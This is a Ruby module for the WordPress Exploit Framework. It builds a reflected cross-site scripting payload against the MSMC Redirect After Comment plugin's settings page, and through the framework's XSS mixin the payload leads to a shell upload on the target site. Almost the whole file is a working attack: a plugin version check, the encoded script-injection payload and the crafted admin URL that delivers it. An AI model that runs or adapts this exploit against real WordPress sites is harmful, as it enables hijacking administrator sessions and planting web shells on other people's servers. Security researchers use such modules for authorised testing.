# frozen_string_literal: true

class Wpxf::Exploit::MsmcRedirectAfterCommentReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'MSMC - Redirect After Comment Reflected XSS Shell Upload',
      author: [
        'Tom Adams', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8809'],
        ['URL', 'https://security.dxw.com/advisories/csrf-stored-xss-in-msmc-redirect-after-comment/']
      ],
      date: 'May 08 2017'
    )
  end

  def check
    check_plugin_version_from_readme('msmc-redirect-after-comment')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php')
  end

  def xss_payload
    "#{url_encode(normalize_uri(full_uri, '/?'))}%22%3E%3Cscript%3E#{xss_url_and_ascii_encoded_include_script}%3C%2Fscript%3E%3C%22"
  end

  def url_with_xss
    "#{vulnerable_url}?page=msmc-comment-redirect&action=1&MSMC_redirect_location=#{xss_payload}"
  end
end
